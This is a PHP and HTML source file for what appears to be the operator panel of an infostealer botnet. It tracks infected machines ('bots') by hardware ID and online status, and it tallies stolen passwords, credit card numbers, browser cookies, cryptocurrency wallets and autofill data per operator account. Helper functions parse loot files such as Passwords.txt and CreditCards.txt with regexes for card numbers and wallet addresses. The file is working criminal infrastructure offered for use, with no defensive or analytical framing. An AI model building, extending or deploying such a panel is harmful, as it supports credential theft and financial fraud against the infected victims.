<?php
//error_reporting(0);

// Include database connection if not already included
if (!isset($condb)) {
include("../config.php");
}

// Make sure user is logged in and session exists
if (!isset($_SESSION['username']) || empty($_SESSION['username'])) {
    echo "Error: User not logged in";
    exit;
}

// Get the current user's username for filtering
$current_username = $_SESSION['username'];

// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Set timezone for PHP
date_default_timezone_set('Europe/Berlin');

// Set timezone for MySQL connection
mysqli_query($condb, "SET time_zone = '+02:00'");

// Function to count lines in a file
function countEntriesInFile($filePath) {
    if (!file_exists($filePath)) {
        return 0;
    }
    
    $content = file_get_contents($filePath);
    if ($content === false) {
        return 0;
    }
    
    // Split by newlines and filter out empty lines
    $lines = array_filter(explode("\n", $content), 'trim');
    return count($lines);
}

// Function to count passwords in Passwords.txt
function countPasswords($filePath) {
    if (!file_exists($filePath)) {
        return 0;
    }
    
    $content = file_get_contents($filePath);
    if ($content === false) {
        return 0;
    }
    
    // Count occurrences of password patterns
    return preg_match_all('/(?:Password|Pass(?:word)?|Passowrd)\s*:\s*.+/i', $content);
}

// Function to count credit cards in CreditCards.txt
function countCreditCards($filePath) {
    if (!file_exists($filePath)) {
        return 0;
    }
    
    $content = file_get_contents($filePath);
    if ($content === false) {
        return 0;
    }
    
    // Count occurrences of credit card patterns
    $ccPattern = '/(?:Card Number:|Number:)\s*\d+/i';
    preg_match_all($ccPattern, $content, $matches);
    return count($matches[0]);
}

// Function to count cookies
function countCookies($filePath) {
    if (!file_exists($filePath)) {
        return 0;
    }
    
    $content = file_get_contents($filePath);
    if ($content === false) {
        return 0;
    }
    
    // Count cookie entries (one per line)
    $lines = array_filter(explode("\n", $content), 'trim');
    return count($lines);
}

// Function to count wallets
function countWallets($filePath) {
    if (!file_exists($filePath)) {
        return 0;
    }
    
    $content = file_get_contents($filePath);
    if ($content === false) {
        return 0;
    }
    
    // Count wallet addresses (look for common patterns)
    $patterns = [
        '/\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/', // Bitcoin
        '/0x[a-fA-F0-9]{40}/', // Ethereum
        '/X[1-9A-HJ-NP-Z1-9]{33}/', // Ripple
        '/L[A-Za-z0-9]{33}/', // Litecoin
        '/D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}/' // Dogecoin
    ];
    
    $totalWallets = 0;
    foreach ($patterns as $pattern) {
        preg_match_all($pattern, $content, $matches);
        $totalWallets += count($matches[0]);
    }
    
    return $totalWallets;
}

// Count total bots and get online/offline stats
$total_bots = 0;
$online_bots = 0;
$offline_bots = 0;

// UPDATED: Filter by username instead of HWID containing username
$query = "SELECT 
    b.HWID,
    b.Date_Time,
    TIMESTAMPDIFF(MINUTE, STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p'), NOW()) as minutes_offline
FROM bot b
JOIN logs l ON b.HWID = l.hwid
WHERE l.username = ?";

$stmt = mysqli_prepare($condb, $query);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result) {
    while ($row = mysqli_fetch_assoc($result)) {
        $total_bots++;
        $minutes_offline = (int)$row['minutes_offline'];
        
        if ($minutes_offline < 4 && $minutes_offline >= 0) {
            $online_bots++;
        } else {
            $offline_bots++;
        }
    }
}

// Get all HWIDs for the current user
// UPDATED: Filter by exact username match
$hwidQuery = "SELECT hwid FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $hwidQuery);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

$hwids = [];
while ($row = mysqli_fetch_assoc($result)) {
    $hwids[] = $row['hwid'];
}

// Get stats from logs table for the current user
// UPDATED: Filter by exact username match instead of HWID containing username
        
// Passwords
$q_passwords = "SELECT SUM(Passwords) as total FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $q_passwords);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$passwords = mysqli_fetch_assoc($result)['total'] ?: 0;

// Credit Cards
$q_creditcards = "SELECT SUM(CreditCards) as total FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $q_creditcards);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$creditcards = mysqli_fetch_assoc($result)['total'] ?: 0;

// Cookies
$q_cookies = "SELECT SUM(Cookies) as total FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $q_cookies);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$cookies = mysqli_fetch_assoc($result)['total'] ?: 0;

// Wallets
$q_wallets = "SELECT SUM(Wallets) as total FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $q_wallets);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$wallets = mysqli_fetch_assoc($result)['total'] ?: 0;

// AutoFill
$q_autofill = "SELECT SUM(AutoFill) as total FROM logs WHERE username = ?";
$stmt = mysqli_prepare($condb, $q_autofill);
mysqli_stmt_bind_param($stmt, "s", $current_username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$autofill = mysqli_fetch_assoc($result)['total'] ?: 0;

// Count today's bots (online + last seen within 24 hours)
$today_start = date('Y-m-d 00:00:00');

// UPDATED: Filter by exact username match instead of HWID containing username
$query = "SELECT COUNT(*) as count FROM bot b
JOIN logs l ON b.HWID = l.hwid
WHERE l.username = ?
AND b.Date_Time >= ? 
AND TIMESTAMPDIFF(MINUTE, STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p'), NOW()) < 1440 
AND TIMESTAMPDIFF(MINUTE, STR_TO_DATE(b.Date_Time, '%Y/%m/%d %h:%i:%s %p'), NOW()) >= 0";

$stmt = mysqli_prepare($condb, $query);
mysqli_stmt_bind_param($stmt, 'ss', $current_username, $today_start);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if ($result) {
    $row = mysqli_fetch_assoc($result);
    $counter_today = $row['count'] ? $row['count'] : 0;
} else {
    $counter_today = 0;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cyberpunk Dashboard</title>
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;500;600;700;800;900&display=swap" rel="stylesheet">
    <link href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css" rel="stylesheet">
<style>
        :root {
            --neon-blue: #00f3ff;
            --neon-blue-dark: #00a1a8;
            --neon-blue-light: #66f7ff;
            --neon-blue-glow: rgba(0, 243, 255, 0.5);
            --neon-blue-dim: rgba(0, 243, 255, 0.15);
            --bg-dark: rgba(0, 5, 15, 0.95);
            --bg-darker: rgba(0, 2, 8, 0.98);
            --grid-size: 20px;
            --dark-blue: #001a2c;
            --dark-blue-glow: rgba(0, 26, 44, 0.8);
            --darker-blue: #000814;
            --deepest-blue: #000510;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Orbitron', sans-serif;
            background: var(--deepest-blue);
            color: var(--neon-blue);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
            width: 100%;
            overflow-x: hidden;
        }

        .dashboard {
            width: 100%;
            max-width: 100%;
            position: relative;
        }

        .dashboard::before {
            content: '';
            position: absolute;
            inset: -2px;
            background: linear-gradient(45deg, 
                transparent 0%, 
                var(--neon-blue) 50%, 
                transparent 100%);
            z-index: -1;
            animation: border-glow 4s linear infinite;
        }

        @keyframes border-glow {
            0%, 100% { opacity: 0.5; }
            50% { opacity: 1; }
        }

        .dashboard-container {
            background: linear-gradient(165deg, var(--darker-blue), var(--dark-blue));
            border-radius: 15px;
            padding: 25px;
            position: relative;
            overflow: hidden;
            box-shadow: 0 0 30px rgba(0, 0, 0, 0.5),
                        inset 0 0 20px var(--dark-blue-glow);
            width: 100%;
        }

        .dashboard-container::before {
            content: '';
            position: absolute;
            inset: 0;
            background: 
                linear-gradient(90deg, transparent 0%, var(--neon-blue-dim) 50%, transparent 100%),
                linear-gradient(0deg, transparent 0%, var(--neon-blue-dim) 50%, transparent 100%);
            background-size: var(--grid-size) var(--grid-size);
            animation: grid-move 20s linear infinite;
            opacity: 0.1;
        }

        @keyframes grid-move {
            0% { background-position: 0 0; }
            100% { background-position: var(--grid-size) var(--grid-size); }
        }

        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
            gap: 20px;
            position: relative;
            width: 100%;
        }

        .stat-card {
            background: linear-gradient(165deg, 
                var(--deepest-blue), 
                var(--darker-blue));
            border: 1px solid var(--neon-blue-dim);
            border-radius: 12px;
            padding: 30px;
            text-align: center;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
            box-shadow: 0 0 15px var(--dark-blue-glow),
                        inset 0 0 10px var(--neon-blue-dim);
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 200px;
        }

        .stat-card:hover {
            transform: translateY(-5px);
            border-color: var(--neon-blue);
            box-shadow: 0 0 20px var(--neon-blue-dim),
                        inset 0 0 15px var(--neon-blue-dim);
            background: linear-gradient(165deg, 
                var(--darker-blue), 
                var(--dark-blue));
        }

        .stat-card::before {
            content: '';
            position: absolute;
            inset: 0;
            background: radial-gradient(circle at 50% 50%, 
                var(--neon-blue-dim) 0%, 
                transparent 70%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .stat-card:hover::before {
            opacity: 0.1;
        }

        .stat-icon {
            font-size: 48px;
            margin-bottom: 25px;
            color: var(--neon-blue);
            text-shadow: 0 0 10px var(--neon-blue-glow);
            transition: all 0.3s ease;
        }

        .stat-card:hover .stat-icon {
            transform: scale(1.2);
            text-shadow: 0 0 15px var(--neon-blue-glow);
        }

        .stat-value {
            font-size: 64px;
            font-weight: 800;
            margin: 10px 0;
            color: var(--neon-blue-light);
            text-shadow: 0 0 10px var(--neon-blue-glow);
            transition: all 0.3s ease;
            line-height: 1;
        }

        .stat-card:hover .stat-value {
            text-shadow: 0 0 15px var(--neon-blue-glow),
                         0 0 30px var(--neon-blue-dim);
        }

        .stat-label {
            font-size: 18px;
            text-transform: uppercase;
            letter-spacing: 2px;
            color: var(--neon-blue-dim);
            transition: all 0.3s ease;
            margin-top: 15px;
        }

        .stat-card:hover .stat-label {
            color: var(--neon-blue-light);
            text-shadow: 0 0 5px var(--neon-blue-glow);
        }

        .status-indicator {
            display: inline-block;
            width: 16px;
            height: 16px;
            border-radius: 50%;
            margin-right: 10px;
            vertical-align: middle;
            position: relative;
            top: -2px;
        }

        .status-online {
            background: #00ff00;
            box-shadow: 0 0 10px #00ff00;
        }

        .status-offline {
            background: #ff0000;
            box-shadow: 0 0 10px #ff0000;
        }

        @media (max-width: 1400px) {
            .stats-grid {
                grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            }
            
            .stat-card {
                padding: 20px;
                min-height: 180px;
            }
            
            .stat-icon {
                font-size: 40px;
                margin-bottom: 20px;
            }
            
            .stat-value {
                font-size: 48px;
            }
            
            .stat-label {
                font-size: 16px;
            }
        }

        @media (max-width: 1100px) {
            .stats-grid {
                grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
                gap: 15px;
            }
        }

        @media (max-width: 768px) {
            .dashboard-container {
                padding: 15px;
            }
            
            .stats-grid {
                grid-template-columns: repeat(auto-fit, minmax(160px, 1fr));
                gap: 12px;
            }

            .stat-card {
                padding: 20px;
                min-height: 160px;
            }

            .stat-icon {
                font-size: 36px;
                margin-bottom: 15px;
            }

            .stat-value {
                font-size: 38px;
            }

            .stat-label {
                font-size: 14px;
            }
            
            .status-indicator {
                width: 14px;
                height: 14px;
            }
        }

        @media (max-width: 600px) {
            .stats-grid {
                grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
                gap: 10px;
            }
            
            .stat-card {
                padding: 15px;
                min-height: 140px;
            }
            
            .stat-icon {
                font-size: 28px;
                margin-bottom: 10px;
            }
            
            .stat-value {
                font-size: 32px;
            }
            
            .stat-label {
                font-size: 12px;
                letter-spacing: 1px;
                margin-top: 10px;
            }
        }

        @media (max-width: 480px) {
            .stats-grid {
                grid-template-columns: repeat(2, 1fr);
            }
        }

        /* Add animation for stats updates */
        @keyframes pulse-update {
            0% { transform: scale(1); }
            50% { transform: scale(1.05); }
            100% { transform: scale(1); }
        }
        
        .updated-stat {
            animation: pulse-update 0.5s ease;
        }
</style>
</head>
<body>
    <div class="dashboard">
        <div class="dashboard-container">
            <div class="stats-grid">
                <div class="stat-card">
                    <div class="stat-icon">
            <i class="ion-android-contacts"></i>
        </div>
                    <div class="stat-value" id="total-bots"><?php echo $total_bots; ?></div>
                    <div class="stat-label">Total Bots</div>
    </div>
    
                <div class="stat-card">
                    <div class="stat-icon">
            <i class="ion-android-happy"></i>
        </div>
                    <div class="stat-value">
                        <span class="status-indicator status-online"></span>
                        <span id="online-bots"><?php echo $online_bots; ?></span>
                    </div>
                    <div class="stat-label">Online Bots</div>
    </div>
    
                <div class="stat-card">
                    <div class="stat-icon">
            <i class="ion-android-sad"></i>
        </div>
                    <div class="stat-value">
                        <span class="status-indicator status-offline"></span>
                        <span id="offline-bots"><?php echo $offline_bots; ?></span>
                    </div>
                    <div class="stat-label">Offline Bots</div>
                </div>
                
                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-ios-unlocked"></i>
    </div>
                    <div class="stat-value" id="passwords"><?php echo $passwords; ?></div>
                    <div class="stat-label">Passwords</div>
</div>

                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-card"></i>
                    </div>
                    <div class="stat-value" id="creditcards"><?php echo $creditcards; ?></div>
                    <div class="stat-label">Credit Cards</div>
        </div>
                
                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-ios-undo"></i>
    </div>
                    <div class="stat-value" id="cookies"><?php echo $cookies; ?></div>
                    <div class="stat-label">Cookies</div>
        </div>
                
                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-cash"></i>
    </div>
                    <div class="stat-value" id="wallets"><?php echo $wallets; ?></div>
                    <div class="stat-label">Wallets</div>
        </div>
                
                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-ios-undo"></i>
                    </div>
                    <div class="stat-value" id="autofill"><?php echo $autofill; ?></div>
                    <div class="stat-label">AutoFill</div>
                </div>
                
                <div class="stat-card">
                    <div class="stat-icon">
                        <i class="ion-android-calendar"></i>
    </div>
                    <div class="stat-value" id="counter-today"><?php echo $counter_today; ?></div>
                    <div class="stat-label">Today's Bots</div>
        </div>
    </div>
</div>	
    </div>

    <!-- Add AJAX script for real-time updates -->
    <script>
    // Store previous values to prevent unnecessary updates
    const previousValues = {
        totalBots: <?php echo $total_bots; ?>,
        onlineBots: <?php echo $online_bots; ?>,
        offlineBots: <?php echo $offline_bots; ?>,
        passwords: <?php echo $passwords; ?>,
        creditcards: <?php echo $creditcards; ?>,
        cookies: <?php echo $cookies; ?>,
        wallets: <?php echo $wallets; ?>,
        autofill: <?php echo $autofill; ?>,
        counterToday: <?php echo $counter_today; ?>
    };

    // Function to update stats with animation
    function updateStats() {
        fetch('get_stats.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            }
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                // Update each stat only if value is different
                if (data.stats.total_bots !== previousValues.totalBots) {
                    document.getElementById('total-bots').textContent = data.stats.total_bots;
                    document.getElementById('total-bots').classList.add('updated-stat');
                    previousValues.totalBots = data.stats.total_bots;
                    setTimeout(() => {
                        document.getElementById('total-bots').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.online_bots !== previousValues.onlineBots) {
                    document.getElementById('online-bots').textContent = data.stats.online_bots;
                    document.getElementById('online-bots').classList.add('updated-stat');
                    previousValues.onlineBots = data.stats.online_bots;
                    setTimeout(() => {
                        document.getElementById('online-bots').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.offline_bots !== previousValues.offlineBots) {
                    document.getElementById('offline-bots').textContent = data.stats.offline_bots;
                    document.getElementById('offline-bots').classList.add('updated-stat');
                    previousValues.offlineBots = data.stats.offline_bots;
                    setTimeout(() => {
                        document.getElementById('offline-bots').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.passwords !== previousValues.passwords) {
                    document.getElementById('passwords').textContent = data.stats.passwords;
                    document.getElementById('passwords').classList.add('updated-stat');
                    previousValues.passwords = data.stats.passwords;
                    setTimeout(() => {
                        document.getElementById('passwords').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.creditcards !== previousValues.creditcards) {
                    document.getElementById('creditcards').textContent = data.stats.creditcards;
                    document.getElementById('creditcards').classList.add('updated-stat');
                    previousValues.creditcards = data.stats.creditcards;
                    setTimeout(() => {
                        document.getElementById('creditcards').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.cookies !== previousValues.cookies) {
                    document.getElementById('cookies').textContent = data.stats.cookies;
                    document.getElementById('cookies').classList.add('updated-stat');
                    previousValues.cookies = data.stats.cookies;
                    setTimeout(() => {
                        document.getElementById('cookies').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.wallets !== previousValues.wallets) {
                    document.getElementById('wallets').textContent = data.stats.wallets;
                    document.getElementById('wallets').classList.add('updated-stat');
                    previousValues.wallets = data.stats.wallets;
                    setTimeout(() => {
                        document.getElementById('wallets').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.autofill !== previousValues.autofill) {
                    document.getElementById('autofill').textContent = data.stats.autofill;
                    document.getElementById('autofill').classList.add('updated-stat');
                    previousValues.autofill = data.stats.autofill;
                    setTimeout(() => {
                        document.getElementById('autofill').classList.remove('updated-stat');
                    }, 600);
                }
                
                if (data.stats.counter_today !== previousValues.counterToday) {
                    document.getElementById('counter-today').textContent = data.stats.counter_today;
                    document.getElementById('counter-today').classList.add('updated-stat');
                    previousValues.counterToday = data.stats.counter_today;
                    setTimeout(() => {
                        document.getElementById('counter-today').classList.remove('updated-stat');
                    }, 600);
                }
            }
        })
        .catch(error => console.error('Error fetching stats:', error));
    }

    // Update stats every 5 seconds
    setInterval(updateStats, 5000);
    </script>
</body>
</html>	